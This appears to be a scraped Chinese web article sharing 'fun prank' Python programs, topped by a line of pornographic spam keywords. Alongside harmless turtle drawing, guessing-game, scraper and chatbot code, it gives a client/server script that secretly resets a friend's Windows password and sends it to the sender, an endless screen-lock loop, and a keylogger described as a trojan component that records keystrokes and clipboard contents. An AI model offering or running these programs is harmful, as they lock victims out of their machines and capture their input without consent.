日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
分享幾款由“Python”語言編寫的“有趣、惡搞、好玩”的程序代碼

為提高大家對“Python”編程語言的學(xué)習(xí)興趣,今天給大家分享幾款有趣的Python程序代碼,感興趣的小伙伴可以跟著學(xué)習(xí)借鑒哦!

分享一:"啥是佩奇?"讓Python語言告訴你

用Python代碼創(chuàng)作一副佩奇:

 
 
 
 
  1. # coding:utf-8
  2. import turtle as t
  3. t.pensize(4)
  4. t.hideturtle()
  5. t.colormode(255)
  6. t.color((255,155,192),"pink")
  7. t.setup(840,500)
  8. t.speed(10)
  9. #鼻子
  10. t.pu()
  11. t.goto(-100,100)
  12. t.pd()
  13. t.seth(-30)
  14. t.begin_fill()
  15. a=0.4
  16. for i in range(120):
  17. if 0<=i<30 or 60<=i<90:
  18. aa=a+0.08
  19. t.lt(3) #向左轉(zhuǎn)3度
  20. t.fd(a) #向前走a的步長
  21. else:
  22. aa=a-0.08
  23. t.lt(3)
  24. t.fd(a)
  25. t.end_fill()
  26. t.pu()
  27. t.seth(90)
  28. t.fd(25)
  29. t.seth(0)
  30. t.fd(10)
  31. t.pd()
  32. t.pencolor(255,155,192)
  33. t.seth(10)
  34. t.begin_fill()
  35. t.circle(5)
  36. t.color(160,82,45)
  37. t.end_fill()
  38. t.pu()
  39. t.seth(0)
  40. t.fd(20)
  41. t.pd()
  42. t.pencolor(255,155,192)
  43. t.seth(10)
  44. t.begin_fill()
  45. t.circle(5)
  46. t.color(160,82,45)
  47. t.end_fill()
  48. #頭
  49. t.color((255,155,192),"pink")
  50. t.pu()
  51. t.seth(90)
  52. t.fd(41)
  53. t.seth(0)
  54. t.fd(0)
  55. t.pd()
  56. t.begin_fill()
  57. t.seth(180)
  58. t.circle(300,-30)
  59. t.circle(100,-60)
  60. t.circle(80,-100)
  61. t.circle(150,-20)
  62. t.circle(60,-95)
  63. t.seth(161)
  64. t.circle(-300,15)
  65. t.pu()
  66. t.goto(-100,100)
  67. t.pd()
  68. t.seth(-30)
  69. a=0.4
  70. for i in range(60):
  71. if 0<=i<30 or 60<=i<90:
  72. aa=a+0.08
  73. t.lt(3) #向左轉(zhuǎn)3度
  74. t.fd(a) #向前走a的步長
  75. else:
  76. aa=a-0.08
  77. t.lt(3)
  78. t.fd(a)
  79. t.end_fill()
  80. #耳朵
  81. t.color((255,155,192),"pink")
  82. t.pu()
  83. t.seth(90)
  84. t.fd(-7)
  85. t.seth(0)
  86. t.fd(70)
  87. t.pd()
  88. t.begin_fill()
  89. t.seth(100)
  90. t.circle(-50,50)
  91. t.circle(-10,120)
  92. t.circle(-50,54)
  93. t.end_fill()
  94. t.pu()
  95. t.seth(90)
  96. t.fd(-12)
  97. t.seth(0)
  98. t.fd(30)
  99. t.pd()
  100. t.begin_fill()
  101. t.seth(100)
  102. t.circle(-50,50)
  103. t.circle(-10,120)
  104. t.circle(-50,56)
  105. t.end_fill()
  106. #眼睛
  107. t.color((255,155,192),"white")
  108. t.pu()
  109. t.seth(90)
  110. t.fd(-20)
  111. t.seth(0)
  112. t.fd(-95)
  113. t.pd()
  114. t.begin_fill()
  115. t.circle(15)
  116. t.end_fill()
  117. t.color("black")
  118. t.pu()
  119. t.seth(90)
  120. t.fd(12)
  121. t.seth(0)
  122. t.fd(-3)
  123. t.pd()
  124. t.begin_fill()
  125. t.circle(3)
  126. t.end_fill()
  127. t.color((255,155,192),"white")
  128. t.pu()
  129. t.seth(90)
  130. t.fd(-25)
  131. t.seth(0)
  132. t.fd(40)
  133. t.pd()
  134. t.begin_fill()
  135. t.circle(15)
  136. t.end_fill()
  137. t.color("black")
  138. t.pu()
  139. t.seth(90)
  140. t.fd(12)
  141. t.seth(0)
  142. t.fd(-3)
  143. t.pd()
  144. t.begin_fill()
  145. t.circle(3)
  146. t.end_fill()
  147. #腮
  148. t.color((255,155,192))
  149. t.pu()
  150. t.seth(90)
  151. t.fd(-95)
  152. t.seth(0)
  153. t.fd(65)
  154. t.pd()
  155. t.begin_fill()
  156. t.circle(30)
  157. t.end_fill()
  158. #嘴
  159. t.color(239,69,19)
  160. t.pu()
  161. t.seth(90)
  162. t.fd(15)
  163. t.seth(0)
  164. t.fd(-100)
  165. t.pd()
  166. t.seth(-80)
  167. t.circle(30,40)
  168. t.circle(40,80)
  169. #身體
  170. t.color("red",(255,99,71))
  171. t.pu()
  172. t.seth(90)
  173. t.fd(-20)
  174. t.seth(0)
  175. t.fd(-78)
  176. t.pd()
  177. t.begin_fill()
  178. t.seth(-130)
  179. t.circle(100,10)
  180. t.circle(300,30)
  181. t.seth(0)
  182. t.fd(230)
  183. t.seth(90)
  184. t.circle(300,30)
  185. t.circle(100,3)
  186. t.color((255,155,192),(255,100,100))
  187. t.seth(-135)
  188. t.circle(-80,63)
  189. t.circle(-150,24)
  190. t.end_fill()
  191. #手
  192. t.color((255,155,192))
  193. t.pu()
  194. t.seth(90)
  195. t.fd(-40)
  196. t.seth(0)
  197. t.fd(-27)
  198. t.pd()
  199. t.seth(-160)
  200. t.circle(300,15)
  201. t.pu()
  202. t.seth(90)
  203. t.fd(15)
  204. t.seth(0)
  205. t.fd(0)
  206. t.pd()
  207. t.seth(-10)
  208. t.circle(-20,90)
  209. t.pu()
  210. t.seth(90)
  211. t.fd(30)
  212. t.seth(0)
  213. t.fd(237)
  214. t.pd()
  215. t.seth(-20)
  216. t.circle(-300,15)
  217. t.pu()
  218. t.seth(90)
  219. t.fd(20)
  220. t.seth(0)
  221. t.fd(0)
  222. t.pd()
  223. t.seth(-170)
  224. t.circle(20,90)
  225. #腳
  226. t.pensize(10)
  227. t.color((240,128,128))
  228. t.pu()
  229. t.seth(90)
  230. t.fd(-75)
  231. t.seth(0)
  232. t.fd(-180)
  233. t.pd()
  234. t.seth(-90)
  235. t.fd(40)
  236. t.seth(-180)
  237. t.color("black")
  238. t.pensize(15)
  239. t.fd(20)
  240. t.pensize(10)
  241. t.color((240,128,128))
  242. t.pu()
  243. t.seth(90)
  244. t.fd(40)
  245. t.seth(0)
  246. t.fd(90)
  247. t.pd()
  248. t.seth(-90)
  249. t.fd(40)
  250. t.seth(-180)
  251. t.color("black")
  252. t.pensize(15)
  253. t.fd(20)
  254. #尾巴
  255. t.pensize(4)
  256. t.color((255,155,192))
  257. t.pu()
  258. t.seth(90)
  259. t.fd(70)
  260. t.seth(0)
  261. t.fd(95)
  262. t.pd()
  263. t.seth(0)
  264. t.circle(70,20)
  265. t.circle(10,330)
  266. t.circle(70,30)
  267. t.done()

效果圖如下:

分享二:一個可以套路別人的python小程序

程序是使用pycharm工具,python語言所寫。程序包括客戶端 client.py 和服務(wù)器端 server.py 兩部分,利用了python中的socket包。

使用方法:

首先,你需要你和你的朋友在同一個局域網(wǎng)內(nèi),然后在你的主機(jī)上,運(yùn)行服務(wù)器端 server.py。

然后,讓你的朋友在他的電腦上運(yùn)行客戶端 client.py。

此時你朋友電腦的windows用戶密碼,就會變成一個隨機(jī)密碼,且這個生成的隨機(jī)密碼他本人無法得知,而是把這個密碼通過socket傳給了服務(wù)器端的你。

嗯,然后你朋友的電腦密碼就只有你自己知道了~

上代碼:

 
 
 
 
  1. # client.py:
  2. import socket
  3. import getpass
  4. import subprocess
  5. import random
  6. phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  7. phone.connect(('172.17.21.56', 8080))
  8. user = getpass.getuser()
  9. psd = ''
  10. for j in range(1, 9):
  11. m = str(random.randrange(0, 10))
  12. psdpsd = psd + m
  13. subprocess.Popen(['net', 'User', user, psd])
  14. phone.send(psd.encode('utf-8'))
  15. back_msg = phone.recv(1024)
  16. phone.close()
  17. # server.py
  18. import socket
  19. phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  20. phone.bind(('172.17.21.56', 8080))
  21. phone.listen(5)
  22. print('starting....')
  23. conn, addr = phone.accept()
  24. print(conn)
  25. print('client addr', addr)
  26. print('ready to read msg')
  27. client_msg = conn.recv(1024)
  28. print('client msg: %s' % client_msg)
  29. conn.send(client_msg.upper())
  30. conn.close()
  31. phone.close()

分享三:一段Python 惡搞代碼

代碼運(yùn)行后windows將無限鎖屏

代碼如下:

 
 
 
 
  1. from ctypes import * 
  2. while True: 
  3. user32 = windll.LoadLibrary('user32.dll') 
  4. user32.LockWorkStation()

分享四:一款python代碼的數(shù)字猜謎小游戲

代碼如下:

 
 
 
 
  1. import random
  2. rang1 = int(input("請設(shè)置本局游戲的最小值:"))
  3. rang2 = int(input("請設(shè)置本局游戲的最大值:"))
  4. num = random.randint(rang1,rang2)
  5. guess = "guess"
  6. print("數(shù)字猜謎游戲!")
  7. i = 0
  8. while guess != num:
  9. i += 1
  10. guess = int(input("請輸入你猜的數(shù)字:"))
  11. if guess == num:
  12. print("恭喜,你猜對了!")
  13. elif guess < num:
  14. print("你猜的數(shù)小了...")
  15. else:
  16. print("你猜的數(shù)大了...")
  17. print("你總共猜了%d" %i + "次",end = '')
  18. print(",快和你朋友較量一下...")

分享五:一段好玩的Python爬蟲代碼

這幾年網(wǎng)絡(luò)爬蟲很火,用Python語言實現(xiàn)網(wǎng)絡(luò)爬蟲最合適不過了,接下來分享一段好玩的爬蟲代碼:

 
 
 
 
  1. # -*- coding: utf-8 -*-
  2. import urllib2
  3. import re
  4. class QSBK:
  5. def __init__(self):
  6. self.pageIndex = 1
  7. self.user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64)'
  8. self.headers = {'User-Agent': self.user_agent}
  9. self.stories = []
  10. # 存放程序是否繼續(xù)運(yùn)行的變量
  11. self.enable = False
  12. # 傳入某一頁的索引獲得頁面代碼
  13. def getPage(self, pageIndex):
  14. try:
  15. url = 'http://www.qiushibaike.com/hot/page/' + str(pageIndex)
  16. request = urllib2.Request(url, headers = self.headers)
  17. response = urllib2.urlopen(request)
  18. pageCode = response.read().decode('utf-8')
  19. return pageCode
  20. except urllib2.URLError, e:
  21. if hasattr(e, "reason"):
  22. print u"連接糗事百科失敗,錯誤原因", e.reason
  23. return None
  24. # 傳入某一頁代碼,返回本頁不帶圖片的段子列表
  25. def getPageItems(self, pageIndex):
  26. pageCode = self.getPage(pageIndex)
  27. if not pageCode:
  28. print "頁面加載失敗。。。"
  29. return None
  30. pattern = re.compile('.*?

    (.*?)

    .*?"content">(.*?)
.*?number">(.*?)(.*?)
  • items = re.findall(pattern, pageCode)
  • pageStories = []
  • for item in items:
  • rereplaceBR = re.compile('
    ')
  • text = re.sub(replaceBR,"
  • ",item[1])
  • pageStories.append([item[0].strip(),text.strip(),item[2].strip(),item[3].strip()])
  • return pageStories
  • # 加載并提取頁面內(nèi)容,加入到列表中
  • def loadPage(self):
  • if self.enable == True:
  • if len(self.stories) < 2:
  • pageStories = self.getPageItems(self.pageIndex)
  • if pageStories:
  • self.stories.append(pageStories)
  • self.pageIndex += 1
  • # 調(diào)用該方法,回車打印一個段子
  • def getOneStory(self, pageStories, page):
  • for story in pageStories:
  • input = raw_input()
  • self.loadPage()
  • if input == "Q":
  • self.enable = False
  • return
  • print u"第%d頁    發(fā)布人:%s  贊:%s    評論:%s
  • %s" %(page,story[0],story[2],story[3],story[1])
  • def start(self):
  • print u"正在讀取糗事百科,按回車查看新段子,Q退出"
  • self.enable = True
  • self.loadPage()
  • nowPage = 0
  • while self.enable:
  • if len(self.stories) > 0:
  • pageStories = self.stories[0]
  • nowPage += 1
  • del self.stories[0]
  • self.getOneStory(pageStories, nowPage)
  • spider = QSBK()
  • spider.start()
  • 分享六、木馬程序常用的鍵盤記錄功能實現(xiàn)

    Python keylogger鍵盤記錄的功能的實現(xiàn)主要利用了pythoncom及pythonhook,然后就是對windows API的各種調(diào)用。Python之所以用起來方便快捷,主要?dú)w功于這些龐大的支持庫,正所謂"人生苦短,快用Python"。

    代碼如下:

     
     
     
     
    1. # -*- coding: utf-8 -*- 
    2. from ctypes import *
    3. import pythoncom
    4. import pyHook
    5. import win32clipboard
    6.  
    7. user32 = windll.user32
    8. kernel32 = windll.kernel32
    9. psapi = windll.psapi
    10. current_window = None
    11.  
    12. #
    13. def get_current_process():
    14.  
    15.  # 獲取最上層的窗口句柄
    16.  hwnd = user32.GetForegroundWindow()
    17.  
    18.  # 獲取進(jìn)程ID
    19.  pid = c_ulong(0)
    20.  user32.GetWindowThreadProcessId(hwnd,byref(pid))
    21.  
    22.  # 將進(jìn)程ID存入變量中
    23.  process_id = "%d" % pid.value
    24.  
    25.  # 申請內(nèi)存
    26.  executable = create_string_buffer("\x00"*512)
    27.  h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
    28.  
    29.  psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
    30.  
    31.  # 讀取窗口標(biāo)題
    32.  windows_title = create_string_buffer("\x00"*512)
    33.  length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
    34.  
    35.  # 打印
    36.  print
    37.  print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
    38.  print
    39.  
    40.  # 關(guān)閉handles
    41.  kernel32.CloseHandle(hwnd)
    42.  kernel32.CloseHandle(h_process)
    43.  
    44. # 定義擊鍵監(jiān)聽事件函數(shù)
    45. def KeyStroke(event):
    46.  
    47.  global current_window
    48.  
    49.  # 檢測目標(biāo)窗口是否轉(zhuǎn)移(換了其他窗口就監(jiān)聽新的窗口)
    50.  if event.WindowName != current_window:
    51.  current_window = event.WindowName
    52.  # 函數(shù)調(diào)用
    53.  get_current_process()
    54.  
    55.  # 檢測擊鍵是否常規(guī)按鍵(非組合鍵等)
    56.  if event.Ascii > 32 and event.Ascii <127:
    57.  print chr(event.Ascii),
    58.  else:
    59.  # 如果發(fā)現(xiàn)Ctrl+v(粘貼)事件,就把粘貼板內(nèi)容記錄下來
    60.  if event.Key == "V":
    61.  win32clipboard.OpenClipboard()
    62.  pasted_value = win32clipboard.GetClipboardData()
    63.  win32clipboard.CloseClipboard()
    64.  print "[PASTE]-%s" % (pasted_value),
    65.  else:
    66.  print "[%s]" % event.Key,
    67.  # 循環(huán)監(jiān)聽下一個擊鍵事件
    68.  return True
    69.  
    70. # 創(chuàng)建并注冊hook管理器
    71. kl = pyHook.HookManager()
    72. kl.KeyDown = KeyStroke
    73.  
    74. # 注冊hook并執(zhí)行
    75. kl.HookKeyboard()
    76. pythoncom.PumpMessages()

    分享七:用Python寫一個機(jī)器人陪自己聊聊天吧

    用Python寫一個機(jī)器人陪自己聊聊天吧。是不是聽起來就很酷,用Python語言、itchat庫、圖靈機(jī)器人就可以輕松實現(xiàn)。

    1. 需要的工具

    • Python。寫代碼的工具;
    • itchat庫。第三方庫,用來登錄微信,接收并回復(fù)微信好友信息;
    • 圖靈機(jī)器人。第三方接口,我們本次使用的機(jī)器人;

    2. 代碼如下:

    (1) 準(zhǔn)備

    導(dǎo)入需要使用的第三方庫

    (2) 獲取來自機(jī)器人的回復(fù)信息

    在這里,調(diào)用圖靈機(jī)器人庫,把我們接收到的微信好友信息發(fā)給圖靈機(jī)器人,再取回機(jī)器人回復(fù)的信息,回復(fù)給好友。

    這里要用到圖靈機(jī)器人的接口,到圖靈機(jī)器人官網(wǎng)(http://www.tuling123.com)注冊登陸之后,生成一個屬于個人的免費(fèi)接口,免費(fèi)接口一天只能用1000條,雖然不多,但娛樂一下自己也是足夠的了。

    創(chuàng)建機(jī)器人成功之后會得到apikey,把這串密碼放到代碼中的"key"里,這一步就完成了。

    (3) 接受來自好友之間的對話信息

    (4) 接受來自微信群里面的對話信息

    如果不需要機(jī)器人在群聊里聊天,可以刪除這塊代碼。

    (5) 運(yùn)行

    最后一步,登錄微信,并運(yùn)行機(jī)器人。


    當(dāng)前名稱:分享幾款由“Python”語言編寫的“有趣、惡搞、好玩”的程序代碼
    當(dāng)前地址:http://m.5511xx.com/article/ccccepp.html